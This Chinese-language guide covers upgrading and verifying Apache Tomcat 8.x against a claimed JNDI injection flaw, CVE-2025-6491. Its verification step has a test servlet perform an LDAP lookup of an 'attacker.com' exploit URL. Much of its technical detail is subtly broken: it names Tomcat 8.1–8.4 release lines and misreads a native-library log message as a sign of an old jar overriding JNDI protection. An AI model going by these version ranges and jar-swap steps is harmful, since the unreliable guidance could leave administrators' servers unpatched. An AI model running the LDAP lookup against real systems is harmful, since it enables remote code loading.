CVE-2025-6491 是 Apache Tomcat 8.x 系列高危 JNDI 注入漏洞，影响 8.1.0–8.1.32 等未修复版本，攻击者可构造恶意 LDAP URL 实现远程代码执行；官方在 8.1.33、8.2.29、8.3.23、8.4.10 中修复，但需严格验证版本、配置及防护生效性，避免因残留旧库或错误配置导致绕过。
CVE-2025-6491 是 Apache Tomcat 8.x 系列中一个高危的 JNDI 注入漏洞，影响所有未修复的 8.1.x / 8.2.x / 8.3.x / 8.4.x 版本，攻击者可构造恶意 LDAP URL 触发远程代码执行。该漏洞在 8.1.33、8.2.29、8.3.23、8.4.10 中被正式修复，但升级本身不等于安全——必须验证是否真正生效。
确认当前 Tomcat 版本与漏洞暴露面
先别急着下载新包，先确认你跑的是不是真受影响的版本，以及是否启用了危险配置：
- 执行
bin/version.sh（Linux）或bin/version.bat（Windows），检查输出中的Server number是否落在8.1.0–8.1.32、8.2.0–8.2.28、8.3.0–8.3.22、8.4.0–8.4.9区间 - 检查
conf/server.xml中是否存在<GlobalNamingResources>块，且其中定义了<Resource>类型为javax.sql.DataSource或org.apache.catalina.UserDatabase—— 这类配置是漏洞利用链的关键入口 - 确认应用是否使用了
JndiObjectFactoryBean（Spring）、InitialContext.lookup()（原生 JNDI 调用）等直接触发 JNDI 查找的逻辑，尤其注意日志、监控、配置加载等非业务路径
升级到修复版本的实操要点
Tomcat 官方不提供“热补丁”，必须替换二进制包。关键不是下载对，而是替换对：
- 从
https://tomcat.apache.org/download.cgi下载对应版本的tar.gz或zip（例如apache-tomcat-8.1.33.tar.gz），**不要用包管理器（如 apt/yum）安装**，因其滞后且常混用旧版启动脚本 - 停止服务后，**只替换
lib/下的catalina.jar、tomcat-jni.jar、tomcat-util.jar和bin/bootstrap.jar**；保留原有conf/、webapps/、logs/目录，避免覆盖自定义配置 - 特别注意：8.4.10 开始默认禁用
java.naming.factory.object等危险 JNDI 属性，但若你在conf/catalina.properties中手动设置了java.naming.factory.url.pkgs=org.apache.naming，必须删除或注释掉该行，否则仍可能绕过防护
验证修复是否真正生效
升级后直接启动就认为修好了？这是最常踩的坑。CVE-2025-6491 的修复依赖两个层面：字节码逻辑变更 + 默认配置收紧。必须双验证：
- 检查启动日志中是否出现
INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent The Apache Tomcat Native library was not found—— 若出现，说明你还在用旧版lib/tomcat-native.jar，它会覆盖新版 catalina.jar 中的 JNDI 保护逻辑 - 部署一个最小测试 WAR：
test-jndi.war，内容仅含一个 Servlet，调用new InitialContext().lookup("ldap://attacker.com:1389/Exploit")，然后访问该 Servlet —— **预期行为是抛出NamingException，而非连接外网或执行命令**；若连接成功或返回ClassNotFoundException，说明防护未生效 - 用
jps -l查看进程，确认加载的catalina.jar路径指向你刚解压的新目录，而非旧路径的符号链接或残留副本
容易被忽略的兼容性雷区
这四个修复版本虽小，但引入了静默行为变更，尤其影响老旧集成场景：
- 8.3.23+ 和 8.4.10+ 中，
org.apache.naming.java.javaURLContextFactory对java:前缀的解析更严格，若你的应用硬编码了类似java:comp/env/jdbc/MyDS的 lookup 名称但漏写了env/，现在会直接失败，而旧版会自动补全 - 所有修复版本均默认关闭
allowUrlInJndi系统属性，如果你的应用依赖 Spring Boot 2.3 以下版本（其spring-boot-starter-tomcat内置了宽松 JNDI 配置），需在启动时显式加-Dcom.sun.jndi.ldap.object.trustURLCodebase=false并确保该值未被覆盖 - 某些国产中间件（如东方通 TONGWEB）基于 Tomcat 8.x 二次开发，其私有 patch 可能与官方 CVE 修复冲突，升级前务必在测试环境用真实业务流量压测 24 小时以上
真正卡住人的从来不是“升不升”，而是“升完有没有人去碰那个 LDAP 测试 URL”。很多团队升级后没做主动验证，直到某天安全扫描器扫出 VULN:CVE-2025-6491 告警才回头翻日志——那时往往已错过黄金响应窗口。把验证步骤固化进 CI/CD 的 post-deploy hook 里，比写十遍升级文档都管用。
